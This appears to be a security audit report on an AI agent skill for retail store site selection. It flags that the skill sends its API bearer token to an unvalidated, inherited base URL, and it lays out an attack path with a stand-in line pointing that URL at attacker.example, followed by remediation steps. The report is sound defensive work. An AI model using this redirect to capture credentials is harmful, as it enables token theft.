高德地图地址·零售连锁拓店选址分析

• Outcome: Review
• Latest audit: Sep 16, 2026 · 10:48 AM UTC
• Version: 1.0.0

Overview

The skill is mostly coherent for retail site-selection API use, but its documented setup can send the user's bearer token to an arbitrary inherited API base URL.

Review this skill before installing. Use it only in a controlled environment where DDT_OPEN_BASE cannot be set by untrusted code, or require the skill to hardcode or strictly validate the official API origin before sending DDT_API_KEY.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Error

• Location: SKILL.md:32

Finding

Bearer Token Disclosure Through an Unvalidated API Base URL

Content

View full analysis

Vulnerability Details

File Location: SKILL.md, lines 32–36 and 72–88
Vulnerability Type: Unvalidated credential destination
Risk Level: High

Vulnerable Code

bash

export DDT_API_KEY="ddt_live_xxxxxxxx"
export DDT_OPEN_BASE="${DDT_OPEN_BASE:-https://gotoshop-ai.com/ddtclaw}"

The documented requests subsequently send the bearer token to the configurable destination:

bash

curl --fail --silent --show-error -G \
  -H "Authorization: Bearer $DDT_API_KEY" \
  "$DDT_OPEN_BASE/v1/retail/brand/profile" \
  --data-urlencode "brand=美宜佳"

curl --fail --silent --show-error -G \
  -H "Authorization: Bearer $DDT_API_KEY" \
  "$DDT_OPEN_BASE/v1/retail/brand/categories" \
  --data-urlencode "brand=美宜佳"

curl --fail --silent --show-error -G \
  -H "Authorization: Bearer $DDT_API_KEY" \
  "$DDT_OPEN_BASE/v1/retail/nearby" \
  --data-urlencode "lng=121.5" \
  --data-urlencode "lat=31.2" \
  --data-urlencode "radius=3000"

Technical Analysis

The shell assignment preserves any preexisting value of DDT_OPEN_BASE without validating its URL scheme or hostname. Every documented API request then attaches DDT_API_KEY as an HTTP bearer credential to a URL derived from that variable.

Consequently, an attacker who can influence the execution environment can set DDT_OPEN_BASE to an attacker-controlled HTTPS endpoint. When the agent follows the documented workflow, the bearer token and request parameters are transmitted to that endpoint. The use of HTTPS alone does not establish that the destination is authorized.

Attack Path

1. An attacker, compromised launcher, wrapper process, or poisoned runtime configuration sets:

   bash

   export DDT_OPEN_BASE="https://attacker.example"
   

2. The Skill's initialization command retains that value because it only supplies the legitimate URL when the variable is unset or empty.
3. The user or agent sets a valid DDT_API_KEY.
4. The agent executes one of the documented curl commands.
5. The re ...[truncated 870 chars]

Remediation

View remediation

Remediation Suggestions

1. Hardcode the trusted API origin when attaching the bearer credential:

   bash

   readonly DDT_OPEN_BASE="https://gotoshop-ai.com/ddtclaw"
   

2. If endpoint configurability is required, parse and validate the URL before use:

   • Require HTTPS.
   • Require an exact allowlisted hostname.
   • Reject embedded credentials, unexpected ports, fragments, and malformed URLs.
   • Prefer an allowlist of complete origins rather than suffix-based hostname matching.

3. Do not send Authorization until the destination has passed validation.

4. Disable or strictly control redirects. Ensure credentials are never forwarded to a different origin after a redirect.

5. Run the Skill in a controlled environment where untrusted processes cannot inject or overwrite environment variables.

6. Use short-lived, narrowly scoped API tokens and support immediate revocation and rotation.

7. Add an automated test that sets DDT_OPEN_BASE to an untrusted origin and verifies that execution fails before any credential-bearing request is made.

SkillSpector

Vulnerability Patterns

• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep